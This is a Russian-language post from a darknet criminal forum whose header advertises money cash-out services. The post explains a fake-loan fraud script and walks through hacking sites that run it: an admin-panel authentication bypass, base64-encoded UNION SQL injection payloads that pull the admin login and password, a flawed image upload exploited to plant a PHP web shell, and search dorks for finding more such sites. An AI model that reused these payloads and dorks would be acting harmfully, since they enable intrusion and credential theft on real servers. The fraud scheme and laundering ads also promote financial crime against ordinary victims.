СТАРЛЕЙ

«ВСЕ НОВОЕ - ЭТО ХОРОШО ЗАЛИТОЕ СТАРОГО»


  • Зальем:

    • QR Озон/райф
    • АПК (ГАЗ/РАЙФ/ОЗОН/АЛЬФА)
    • Юнистрим/Форсаж
    • ПЕРЕВОДЫ
    • ИНКА
    • ЮР-ЮР (СТАРОРЕГИ/НОВОРЕГИ)
📢 У форума есть зеркало в TOR http://darkmonn6oy55o7kgmwr4jny2gi2zj6hyalzcjgl444dvpalannl5jid.onion
🔥Новый канал DarkMoney в Telegram: https://t.me/+YZCQez0WZM04YmQ0

Ломаем псевдокредиты

  • Автор темы Автор темы Lebron.
  • Дата начала Дата начала
27.02.17
1
Как всем известно, есть около 400 способов относительно честного отъема денег у народа. Сегодня мы вам расскажем еще об одном.

Есть такой скрипт, который на разных мигалках/дубликатах/криминаланетах продавался от юзера под ником SOX.

Суть наебки в следующем:

1. Жертва ищет, где бы взять кредит (чаще всего - чтобы рассчитаться с другими кредитами).
2. Жертва находит наеб-скрипт, заполняет заявку и отправляет жуликам (уже профит - можно продать скан/личные данные).
3. Кредит жертве одобрен, но чтобы его получить, надо оплатить небольшую комиссию, а для этого надо пополнить "свою" карту (реквизиты карты одинаковы для всех жертв и указываются в наеб-скрипте).
4. Жертва оплачивает комиссию, но кредит почему-то нельзя получить...
5. ???
6. PROFIT

Спустя некоторое время улетел SOX в баню, а скрипт его оказался на проверку SUX (отстой, другими словами). Проанализирован и анально захекан.

Обход авторизации.

В коде много ****еца, но мы отметим только те баги, которые позволят нам залить шелл. Начнем мы с шикарнейшего кода в в файле /administrator/includes/admin_header.php:
<?php
include('../settings/config.php');
include("../include/class.pager.php");
include("../include/variables.php");
include("../antixss.php");
if(!isset($_SESSION["adminusername"]))
{
header("location: index.php?mg=session");
}
?>
Надо было лишь дописать exit. Конечно, это не спасло бы от похека, просто это только упрощает нашу работу. Все что нужно - просто отключить редиректы (или лазить через бурп и менять ответы с 302 на 200) и можно уже шариться по админке:

Чтобы видеть изображения, необходимо зарегистрироваться.


И мы уже можем палить юзеров:
/administrator/userlist.php

Узнаем id:

Чтобы видеть изображения, необходимо зарегистрироваться.


Теперь тащим логин/пароль:
/administrator/edituser.php?action=edit&uid=221
Просматриваем код странички, пароль там лежит как есть, в качестве логина используется почтовый ящик.

Заходим под данными пользователя в кабинет (/login.php):

Чтобы видеть изображения, необходимо зарегистрироваться.


SQL-инъекция

Находясь в кабинете пользователя заходим в раздел "служба поддержки". Файл support.php содержит следующие строки в коде:
if(isset($_GET["Go"])){
$sql=dbQuery("select * from `support` where `".base64_decode($_GET["Go"])."`='".$_SESSION["userlogin"]."' order by `id` desc");
//прочее

Старая добрая SQL-инъекция, для успешного похека кодируем в base64 строку:
id`=-1 uNiOn sEleCt 1,2,username,4,5,6,7,8 FrOm adminlogin #
И делаем запрос:
/support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIsdXNlcm5hbWUsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
Получаем логин - admin, теперь надо получить пароль:
id`=-1 uNiOn sEleCt 1,2,password,4,5,6,7,8 FrOm adminlogin #
Кодируем:
/support.php?Go=aWRgPS0xIHVOaU9uIHNFbGVDdCAxLDIscGFzc3dvcmQsNCw1LDYsNyw4IEZyT20gYWRtaW5sb2dpbiAjIA==
Видим:

Чтобы видеть изображения, необходимо зарегистрироваться.


Очевидно, что это base64, декодируем и вот у нас уже есть логин/пароль администратора. Заходим в админку...

Чтобы видеть изображения, необходимо зарегистрироваться.


Нам необходимо изменить имя одного из пользователей - меняем с русского на английский (чтобы в дальнейшем проще было залить шелл).

Upload shell

Заходим под юзером и заливаем шелл. Очередная чудо-ошибонька. /querys/myaccount_sc/chg-pic_sc.php:

$output_dir = "userimg/";
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["myfile"]["name"]));
if(isset($_POST['upload']))
{
//Filter the file types , if you want.
if ((($_FILES["myfile"]["type"] == "image/gif")
|| ($_FILES["myfile"]["type"] == "image/jpeg")
|| ($_FILES["myfile"]["type"] == "image/JPG")
|| ($_FILES["myfile"]["type"] == "image/png")
|| ($_FILES["myfile"]["type"] == "image/pjpeg"))
&& ($_FILES["myfile"]["size"] < 504800)
&& in_array($extension, $allowedExts))
{
if ($_FILES["myfile"]["error"] > 0)
{
echo "Return Code: " . $_FILES["myfile"]["error"] . "<br>";
}
if (file_exists($output_dir. $_FILES["myfile"]["name"]))
{
unlink($output_dir. $_FILES["myfile"]["name"]);
}
else
{
$pic=$_FILES["myfile"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];

//move the uploaded file to uploads folder;
move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$user.".".$ext);

Легко и просто заливаем шелл и далее заходим по адресу /userimg/username.php и вуаля:

Чтобы видеть изображения, необходимо зарегистрироваться.


Шик. Блеск. Красота.

Найдем еще больше таких скриптов:
inurl:login.php intext:Открыть счёт intitle:"Личный кабинет"
inurl:login.php intext:Я забыл свой пароль intitle:"Личный кабинет"
inurl:password.php intext:"Регистрация и отправка заявки на займ"
Как видите, любой скрипт надо проверять, даже если автор пишет, что съел собаку на программировании)

С радостью проверим ваши скрипты на уязвимости.
 
Назад
Сверху